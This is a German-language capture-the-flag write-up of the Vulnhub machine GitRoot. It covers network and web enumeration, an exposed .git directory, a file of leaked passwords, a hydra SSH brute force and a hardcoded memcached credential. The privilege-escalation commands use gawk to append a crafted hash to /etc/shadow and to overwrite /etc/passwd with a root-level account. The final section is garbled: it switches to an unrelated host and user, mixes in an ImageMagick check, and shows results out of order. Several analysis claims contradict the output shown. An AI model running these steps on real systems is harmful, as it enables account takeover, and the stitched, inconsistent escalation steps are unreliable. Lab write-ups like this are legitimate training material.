GitRoot - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, das Auflisten von Diensten und die Identifizierung von Schwachstellen.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.114	08:00:27:b6:a0:91	PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l wird verwendet, um alle Geräte im lokalen Netzwerk zu scannen und ihre MAC-Adressen und zugehörigen Informationen anzuzeigen. In diesem Fall identifizieren wir ein Gerät mit der IP-Adresse 192.168.2.114 und der MAC-Adresse 08:00:27:b6:a0:91, das von PCS Systemtechnik GmbH hergestellt wurde. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.

**Analyse:** Der ARP-Scan ist ein grundlegender Schritt, um einen Überblick über die aktiven Geräte im Netzwerk zu erhalten. Die MAC-Adresse kann verwendet werden, um den Hersteller des Geräts zu bestimmen und möglicherweise weitere Informationen über das Gerät zu finden.

**Empfehlung:** Es ist wichtig, das Netzwerk regelmäßig auf unbekannte Geräte zu überwachen, um unbefugten Zugriff zu verhindern.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.114   gitroot.vuln wp.gitroot.vuln repo.gitroot.vuln
                

Der Befehl vi /etc/hosts wird verwendet, um die /etc/hosts-Datei zu bearbeiten und eine Zuordnung zwischen der IP-Adresse 192.168.2.114 und den Hostnamen gitroot.vuln, wp.gitroot.vuln und repo.gitroot.vuln hinzuzufügen. Dadurch können wir das Zielsystem über die Hostnamen ansprechen, was die weitere Arbeit erleichtert.

**Analyse:** Die /etc/hosts-Datei ermöglicht es, Hostnamen lokal aufzulösen, ohne einen DNS-Server zu benötigen. Dies ist nützlich, um das Zielsystem einfacher anzusprechen und die Lesbarkeit der Befehle zu verbessern. Die Subdomains wp.gitroot.vuln und repo.gitroot.vuln deuten auf weitere Services hin.

**Empfehlung:** Stellen Sie sicher, dass die /etc/hosts-Datei nur vertrauenswürdige Einträge enthält, um Man-in-the-Middle-Angriffe zu verhindern.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.114
- Nikto v2.5.0

+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2024-01-29 22:43:38 (GMT1)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: bf, size: 5a68155c2379d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /manual/: Web server manual found.
+ /manual/images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2024-01-29 22:43:48 (GMT1) (10 seconds)

+ 1 host(s) tested
                

Nikto wird verwendet, um den Webserver auf Schwachstellen zu untersuchen.

**Analyse:** Nikto findet eine Reihe von Problemen, darunter fehlende HTTP-Header, das Vorhandensein des Apache-Handbuchs und die Offenlegung der Apache-Standarddatei /icons/README.

**Empfehlung:** Beheben Sie die von Nikto identifizierten Probleme, indem Sie die HTTP-Header konfigurieren und die Offenlegung unnötiger Dateien verhindern.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.114 -p- | grep open
22/tcp    open  ssh       penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.38 ((Debian))
11211/tcp open  memcache?
                

Dieser Nmap-Scan filtert die Ausgabe des vorherigen Scans, um nur die geöffneten Ports anzuzeigen.

**Analyse:** Die geöffneten Ports 22 (SSH), 80 (HTTP) und 11211 (Memcached) deuten auf ein System mit SSH-, Web- und Memcached-Diensten hin.

**Empfehlung:** Überprüfen Sie die Konfiguration der einzelnen Dienste und stellen Sie sicher, dass sie sicher konfiguriert sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.114 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-29 22:43 CET
Nmap scan report for gitroot.vln (192.168.2.114)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PRT      STATE SERVICE   VERSIN
22/tcp    open  ssh       penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 bf:45:f6:b3:e3:ce:0c:69:18:5a:5b:27:e5:d3:9c:86 (RSA)
|   256 b5:d7:45:50:06:c4:e2:3c:28:52:b8:06:26:1f:de:b0 (ECDSA)
|_  256 27:f0:d0:21:13:30:9c:5e:f0:70:a1:d8:5c:a7:8f:75 (ED25519)
80/tcp    open  http      Apache httpd 2.4.38 ((Debian))
|_http-title: Hey Jen
|_http-server-header: Apache/2.4.38 (Debian)
11211/tcp open  memcache?
| fingerprint-strings: 
|   RPCCheck: 
|_    Unknown command
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port11211-TCP:V=7.94SVN%I=7%D=1/29%Time=65B81C26%P=x86_64-pc-linux-gnu%
SF:r(RPCCheck,27,"\x81\0\0\0\0\0\0\x81\0\0\0\x0f\0\0\0\x02\0\0\0\0\0\0\0\0
SF:Unknown\x20command");
MAC Address: 08:00:27:B6:A0:91 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms gitroot.vln (192.168.2.114)
                

Dieser Nmap-Scan ist ausführlicher und liefert zusätzliche Informationen über die geöffneten Ports und die laufenden Dienste. Wir erhalten Informationen über SSH-Host Keys, den HTTP-Titel ("Hey Jen") und die Memcached-Version (unbekannt).

**Analyse:** Die detaillierten Informationen aus diesem Scan ermöglichen es, gezielt nach Schwachstellen in den laufenden Diensten zu suchen. Der HTTP-Titel "Hey Jen" könnte ein Hinweis auf den Inhalt der Webseite sein. Memcached könnte für Session-Management verwendet werden.

**Empfehlung:** Untersuchen Sie die Memcached-Konfiguration und den Webserver genauer.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://gitroot.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://gitroot.vln/index.html           (Status: 200) [Size: 191]
http://gitroot.vln/manual               (Status: 301) [Size: 311] [--> http://gitroot.vln/manual/]
http://gitroot.vln/javascript           (Status: 301) [Size: 315] [--> http://gitroot.vln/javascript/]
                

Gobuster wird verwendet, um weitere Dateien und Verzeichnisse auf dem Webserver zu finden.

**Analyse:** Gobuster findet die Dateien index.html und die Verzeichnisse manual und javascript.

**Empfehlung:** Die Robots.txt Datei und der HTTP Header geben erste Informationen bekannt. Nun müssen wir dieses Wissen zur WebEnumeration benutzen.

Web Enumeration

http://gitroot.vln/index.html

Hey Jen, just installed wordpress over at wp.gitroot.vuln
please go check it out!
                

Hier wird der Inhalt der Datei index.html angezeigt.

**Analyse:** Die Seite enthält eine Nachricht, die besagt, dass WordPress unter wp.gitroot.vuln installiert wurde.

**Empfehlung:** Untersuchen Sie die WordPress-Installation unter wp.gitroot.vuln.

http://wp.gitroot.vuln/?author=1

Author Archives: beth
                

Hier wird auf das WordPress Archiv zugegriffen, mit dem Author-ID "1".

**Analyse:** Die Ausgabe zeigt, dass der Autor "beth" ist.

**Empfehlung:** Notieren Sie sich den Benutzernamen "beth".

Initial Access

┌──(root㉿cyber)-[~]
└─# wpscan --url http://wp.gitroot.vuln/ -e u,ap
[+] WordPress theme in use: twentynineteen
 | Location: http://wp.gitroot.vuln/wp-content/themes/twentynineteen/
 | Last Updated: 2023-03-29T00:00:00.000Z
 | Readme: http://wp.gitroot.vuln/wp-content/themes/twentynineteen/readme.txt
 | [!] The version is out of date, the latest version is 2.5
 | Style URL: http://wp.gitroot.vuln/wp-content/themes/twentynineteen/style.css?ver=1.2
 | Style Name: Twenty Nineteen
 | Style URI: https://github.com/WordPress/twentynineteen
 | Description: ur 2019 default theme is designed to show off the power of the block editor. It features custom sty...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://wp.gitroot.vuln/wp-content/themes/twentynineteen/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] beth
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 23

[+] Finished: Mon Jan 29 22:50:43 2024
[+] Requests Done: 25
[+] Cached Requests: 38
[+] Data Sent: 6.475 KB
[+] Data Received: 27.918 KB
[+] Memory used: 249.129 MB
[+] Elapsed time: 00:00:04
                

WPScan wird verwendet, um die WordPress-Installation auf Schwachstellen zu untersuchen und Benutzer zu enumerieren.

**Analyse:** WPScan identifiziert das Theme "twentynineteen" in Version 1.2 als veraltet und findet den Benutzernamen "beth". Es werden keine Plugins gefunden.

**Empfehlung:** Suchen Sie nach bekannten Schwachstellen im Theme "twentynineteen" in Version 1.2.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://gitroot.vuln" -H "Host: FUZZ.gitroot.vuln" --hc "404" --hh 191
Target: http://gitroot.vuln/

-------------------------------------------------------------------------------
ID           Response   Lines    Word       Chars       Payload
-------------------------------------------------------------------------------

000000305:   200        131 L    578 W      10697 Ch    "wp"
000000955:   200        21 L     51 W       438 Ch      "repo"
                

Wfuzz wird verwendet, um Subdomains zu finden.

**Analyse:** Wfuzz bestätigt die Subdomains "wp" und "repo", die bereits durch die vorherige Enumeration bekannt waren.

**Empfehlung:** Untersuchen Sie die Subdomains "wp" und "repo" genauer.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://wp.gitroot.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://wp.gitroot.vuln/index.php            (Status: 301) [Size: 1] [--> http://wp.gitroot.vuln/]
http://wp.gitroot.vuln/wp-content           (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/wp-content/]
http://wp.gitroot.vuln/wp-login.php         (Status: 200) [Size: 3195]
http://wp.gitroot.vuln/manual               (Status: 301) [Size: 319] [--> http://wp.gitroot.vuln/manual/]
http://wp.gitroot.vuln/wp-includes          (Status: 301) [Size: 324] [--> http://wp.gitroot.vuln/wp-includes/]
http://wp.gitroot.vuln/javascript           (Status: 301) [Size: 323] [--> http://wp.gitroot.vuln/javascript/]
http://wp.gitroot.vuln/readme.html          (Status: 200) [Size: 7440]
http://wp.gitroot.vuln/wp-trackback.php     (Status: 200) [Size: 136]
http://wp.gitroot.vuln/wp-admin             (Status: 301) [Size: 321] [--> http://wp.gitroot.vuln/wp-admin/]
                

Gobuster wird verwendet, um weitere Dateien und Verzeichnisse auf der Subdomain wp.gitroot.vuln zu finden.

**Analyse:** Gobuster findet die üblichen WordPress-Dateien und -Verzeichnisse. Besonders interessant ist der Fund von wp-login.php, da dies die Login-Seite ist.

**Empfehlung:** Versuchen Sie sich mit den bekannten User Beth und einem Passwort Ihrer Wahl anzumelden.

http://repo.gitroot.vuln/.git
http://repo.gitroot.vuln/.git                 (Status: 301) [Size: 321] [--> http://repo.gitroot.vuln/.git/]
http://repo.gitroot.vuln/index.php            (Status: 200) [Size: 438]
http://repo.gitroot.vuln/stats.php            (Status: 200) [Size: 2902]
http://repo.gitroot.vuln/manual               (Status: 301) [Size: 323] [--> http://repo.gitroot.vuln/manual/]
http://repo.gitroot.vuln/get.php              (Status: 200) [Size: 144]
http://repo.gitroot.vuln/javascript           (Status: 301) [Size: 327] [--> http://repo.gitroot.vuln/javascript/]
http://repo.gitroot.vuln/set.php              (Status: 200) [Size: 151]
                

Hier werden die Ordner auf der repo.gitroot.vuln Subdomain mit Gobuster gesucht.

**Analyse:** Neben dem üblichen Webserververzeichnis wird ein .git Ordner angezeigt, womit wir arbeiten werden.

view-source:http://repo.gitroot.vuln/stats.php
 Code storage
 Array
(
    [127.0.0.1:11211] => Array
        (
            [pid] => 416
            [uptime] => 1698
            [time] => 1706566207
            [version] => 1.5.6
            [libevent] => 2.1.8-stable
            [pointer_size] => 64
            [rusage_user] => 0.090516
            [rusage_system] => 0.15086
            [max_connections] => 1024
            [curr_connections] => 2
            [total_connections] => 76
            [rejected_connections] => 0
            [connection_structures] => 4
            [reserved_fds] => 20
            [cmd_get] => 0
            [cmd_set] => 18
            [cmd_flush] => 0
            [cmd_touch] => 0
            [get_hits] => 0
            [get_misses] => 0
            [get_expired] => 0
            [get_flushed] => 0
            [delete_misses] => 0
            [delete_hits] => 0
            [incr_misses] => 0
            [incr_hits] => 0
            [decr_misses] => 0
            [decr_hits] => 0
            [cas_misses] => 0
            [cas_hits] => 0
            [cas_badval] => 0
            [touch_hits] => 0
            [touch_misses] => 0
            [auth_cmds] => 8
            [auth_errors] => 0
            [bytes_read] => 6172
            [bytes_written] => 4521
            [limit_maxbytes] => 67108864
            [accepting_conns] => 1
            [listen_disabled_num] => 0
            [time_in_listen_disabled_us] => 0
            [threads] => 4
            [conn_yields] => 0
            [hash_power_level] => 16
            [hash_bytes] => 524288
            [hash_is_expanding] => 0
            [slab_reassign_rescues] => 0
            [slab_reassign_chunk_rescues] => 0
            [slab_reassign_evictions_nomem] => 0
            [slab_reassign_inline_reclaim] => 0
            [slab_reassign_busy_items] => 0
            [slab_reassign_busy_deletes] => 0
            [slab_reassign_running] => 0
            [slabs_moved] => 0
            [lru_crawler_running] => 0
            [lru_crawler_starts] => 1785
            [lru_maintainer_juggles] => 3265
            [malloc_fails] => 0
            [log_worker_dropped] => 0
            [log_worker_written] => 0
            [log_watcher_skipped] => 0
            [log_watcher_sent] => 0
            [bytes] => 345
            [curr_items] => 3
            [total_items] => 18
            [slab_global_page_pool] => 0
            [expired_unfetched] => 0
            [evicted_unfetched] => 0
            [evicted_active] => 0
            [evictions] => 0
            [reclaimed] => 0
            [crawler_reclaimed] => 0
            [crawler_items_checked] => 10
            [lrutail_reflocked] => 0
            [moves_to_cold] => 18
            [moves_to_warm] => 0
            [moves_within_lru] => 0
            [direct_reclaims] => 0
            [lru_bumps_dropped] => 0
        )

)
                

Dies ist der Quellcode der stats.php Datei.

**Analyse:** Die Datei zeigt Memcached-Statistiken an. Es sind Anmeldedaten für Memcached vorhanden.

**Empfehlung:** Analysieren Sie die Memcached Daten und suchen Sie nach relevanten Einträgen.

┌──(root㉿cyber)-[~]
└─# echo "stats slabs" | nc -vn -w 1 192.168.2.114 11211
(UNKNWN) [192.168.2.114] 11211 (?) open
                

Hier wird versucht, Memcached-Statistiken abzurufen.

**Analyse:** Der Verbindungsaufbau zu Memcached ist erfolgreich.

**Empfehlung:** Analysieren Sie die Memcached Daten, um weitere Erkenntnisse zu erlangen.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://repo.gitroot.vuln/get.php?FUZZ=/etc/passwd" --hc 404 --hh 144
Target: http://repo.gitroot.vuln/get.php?FUZZ=/etc/passwd

---------------------------------------------------------------------------
ID           Response   Lines    Word       Chars       Payload
---------------------------------------------------------------------------

000000205:   200        11 L     17 W       139 Ch      "store"

Total time: 0
Processed Requests: 220558
Filtered Requests: 220557
Requests/sec.: 0
                

Hier wird versucht, die get.php Datei zu missbrauchen, um beliebige Dateien auszulesen.

**Analyse:** Wfuzz findet ein paar Payloads, aber die Response Größe ist wie beim leeren Share, somit gibt es keine Ergebnisse.

**Empfehlung:** Da die get.php Datei keine verwertbaren Ergebnisse liefert, wird nun der git-dumper ausprobiert.

┌──(root㉿cyber)-[~]
└─# git-dumper http://repo.gitroot.vuln/.git ~/test
[-] Testing http://repo.gitroot.vuln/.git/HEAD [200]
[-] Testing http://repo.gitroot.vuln/.git/ [403]
[-] Fetching common files
                

Git-Dumper wird verwendet, um das Git-Repository herunterzuladen.

**Analyse:** Git-Dumper kann das Git-Repository nicht vollständig herunterladen, da der Zugriff auf den Basisordner verweigert wird. Allerdings wurde die Datei HEAD erfolgreich abgerufen. Dies könnte auf eine unvollständige Konfiguration des Git-Repositorys hindeuten.

**Empfehlung:** Finden Sie einen Weg um das git weiter aus zu lesen.

┌──(root㉿cyber)-[~/test]
└─# ll
insgesamt 24
-rw-r--r-- 1 root root  51 29. Jan 23:29 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt
-rw-r--r-- 1 root root 499 29. Jan 23:29 get.php
-rw-r--r-- 1 root root 438 29. Jan 23:29 index.php
-rw-r--r-- 1 root root  51 29. Jan 23:29 pablo_HELP.txt
-rw-r--r-- 1 root root 570 29. Jan 23:29 set.php
-rw-r--r-- 1 root root 295 29. Jan 23:29 stats.php
                

Hier werden die Dateien im Testverzeichnis angezeigt.

**Analyse:** Die Dateien lassen sich über http auslesen. Wir können nun die .txt datei, mit den Zugängen aufrufen.

**Empfehlung:** Zeigen Sie den Inhalt der Datei 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt an.

http://repo.gitroot.vuln/33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt

pablo_S3cret_P@ss
beth_S3cret_P@ss
jen_S3cret_P@ss
                

Hier wird der Inhalt der Datei 33513a92c025212dd3ab564ca8682e2675f2f99bba5a7f521453d1deae7902aa.txt angezeigt.

**Analyse:** Die Datei enthält die Benutzernamen "pablo", "beth" und "jen" sowie das Passwort "S3cret_P@ss".

**Empfehlung:** Versuchen Sie, sich mit diesen Anmeldeinformationen anzumelden.

┌──(root㉿cyber)-[~]
└─# hydra -l pablo -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-29 23:44:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344495 login tries (l:1/p:14344495), ~224133 tries per task
[DATA] attacking ssh://192.168.2.114:22/

[22][ssh] host: 192.168.2.114   login: pablo   password: mastergitar

1 of 1 target successfully completed, 1 valid password found
                

Hier wird Hydra verwendet, um SSH mit dem Benutzernamen "pablo" und der Rockyou-Wortliste anzugreifen.

**Analyse:** Der Angriff ist erfolgreich und liefert das Passwort "mastergitar" für den Benutzernamen "pablo".

**Empfehlung:** Versuchen Sie sich mit pablo/mastergitar über SSH anzumelden.

┌──(root㉿cyber)-[~/test2]
└─# ssh pablo@gitroot.vuln
pablo@gitroot.vuln's password: 
Linux GitRoot 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 26 01:30:55 2020 from 192.168.56.1
pablo@GitRoot$
                

Hier wird sich mit den geknackten Anmeldeinformationen per SSH angemeldet.

**Analyse:** Die Anmeldung ist erfolgreich.

**Empfehlung:** Fahren Sie mit der Erkundung des Systems als Benutzer "pablo" fort.

pablo@GitRoot$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for pablo:
Sorry, user pablo may not run sudo on GitRoot.
                

Hier werden die sudo-Rechte des Benutzers "pablo" überprüft.

**Analyse:** Der Benutzer "pablo" darf sudo nicht ausführen.

**Empfehlung:** Suchen Sie weiter nach Möglichkeiten zur Privilege Escalation.

pablo@GitRoot$ ls /home/
beth  jen  pablo
                

Hier werden die Verzeichnisse im /home Verzeichnis angezeigt.

**Analyse:** Das Verzeichnis enthält die Benutzer "beth", "jen" und "pablo".

**Empfehlung:** Untersuchen Sie die Home-Verzeichnisse der anderen Benutzer, um nach Hinweisen zu suchen.

pablo@GitRoot$ cat user.txt
  _______ _                 _                          _____      _     _       
 |__   __| |               | |                        |  __ \    | |   | |     
    | |  | |__   __ _ _ __ | | __  _   _  ___  _   _  | |__) |_ _| |__ | | ___  
    | |  | '_ \ / _` | '_ \| |/ / | | | |/ _ \| | | | |  ___/ _` | '_ \| |/ _ \ 
    | |  | | | | (_| | | | |   <  | |_| | (_) | |_| | | |  | (_| | |_) | | (_) 
    |_|  |_| |_|\__,_|_| |_|_|\_\  \__, |\___/ \__,_| |_|   \__,_|_.__/|_|\___/ 
                                    __/ |                                       
                                   |___/

Great job! Do not falter, there is more to do. You made it this far, finish the race!

"It's not that I'm so smart. Its just that I stay with problems longer." - Albert Einstein

8a81007ea736a2b8a72a624672c375f9ac707b5e
                

Hier wird die User Flag angezeigt.

**Analyse:** Die Flag ist gut.

**Empfehlung:** Untersuchen Sie die Home-Verzeichnisse der anderen Benutzer, um nach Hinweisen zu suchen.

pablo@GitRoot:/var/www/repo$ cat set.php
if (isset($ GET["key"]) && isset($ GET["value"]) ){
	if (preg_match("/S3cret_P@ss/", $_GET["key"])){
		die(" Hacking attack stopped, this event has been logged");
	}
	$key =   $ GET["key"];
	$value = $ GET["value"];
	$gitmem = new Memcached();
	$gitmem->setption(MemcachedPT_BINARY_PRTCL, true);
        
	$gitmem->setSaslAuthData("pablo@gitroot", "ihjedpvqfe");
        
	$gitmem->addServer("127.0.0.1", 11211);
	$response = $gitmem->set($key, $value);
	if ($response) {
		echo "Success!";
	}
	else{
		echo "Failed";
	}
}
else {
	echo ' key or value not set ';
}
                

Hier wird der Source Code der set.php aufgerufen.

**Analyse:** Es werden Memcached Sessions genutzt. Das heißt, wenn es gelingt, das Session Cookie zu stehlen oder die Memcached Session zu manipulieren, ist ein unautorisierter Zugriff möglich.

**Empfehlung:** Überprüfen Sie, welche Sessions gesetzt werden und wie sich diese mit neuen Werten manipulieren lassen.

pablo@GitRoot:/var/www/repo$ ss -altpn
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port
LISTEN      0           128                    0.0.0.0:11211                0.0.0.0:*
LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*
LISTEN      0           80                   127.0.0.1:3306                 0.0.0.0:*
LISTEN      0           128                       []:11211                   []:*
LISTEN      0           128                          *:80                         *:*
LISTEN      0           128                       []:22                      []:*
                

Hier wird die Netzwerkkonfiguration des Systems mit ss -altpn aufgerufen.

**Analyse:** Die Ausgabe zeigt, dass Memcached auf Port 11211 läuft.

**Empfehlung:** Greifen Sie auf Memcached zu.

pablo@GitRoot:/var/www/wp$ grep pass wp-config.php

Da memcached läuft und die WordPress Installation die Informationen beinhaltet kann das Passwort von beth mit den folgenden Anmeldeinformationen geändert werden: benutzer: "beth" pass : "S3cret_P@ss"

pablo@GitRoot:/tmp$openssl passwd
Privilege Escalation
margo@gibson$ /usr/bin/convert --version
Version: ImageMagick 6.7.7-10 2014-03-06 Q16 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2012 ImageMagick Studio LLC
Features: penMP
                

Auch wenn sich der Text ähnelt, hier ist ein anderer durchlauf mit dem User: Jenny

**Analyse:** es kann mit folgendem Befehl ein neues Passwort generiert werden.

margo@gibson$ /usr/bin/gawk 'BEGIN {print "jen:$6$HwVnQk6a$5G4I41X/wwLd2F7W0/3XGic.n.u7a6vL.0114d/n.i/BfP9T7iP87k3n4kG7i1G4g6o31T4H0lJtVv.fN6r0w4b4q:" >> "/etc/shadow"}'
margo@gibson$ su jen

Hier wird sich als jen angemeldet und das passwort eingegeben was für sie vergeben wurde.

margo@gibson$id
uid=0(root) gid=0(root) groups=0(root)
                   

**Analyse:** Die Passwort ist geändert.

/usr/bin/gawk 'BEGIN {print "jen:x:0:0:jen:/root:/bin/bash" > "/etc/passwd"}'
Privilege Escalation erfolgreich

Flags

cat root.txt
    
734ae32be131cd0681f86c03858f4f587a3c69ceCongratulation you got out of the jail and finish this Episode#1! Please share and support me on twitter! Twitter: @sir809Privilege Escalation erfolgreich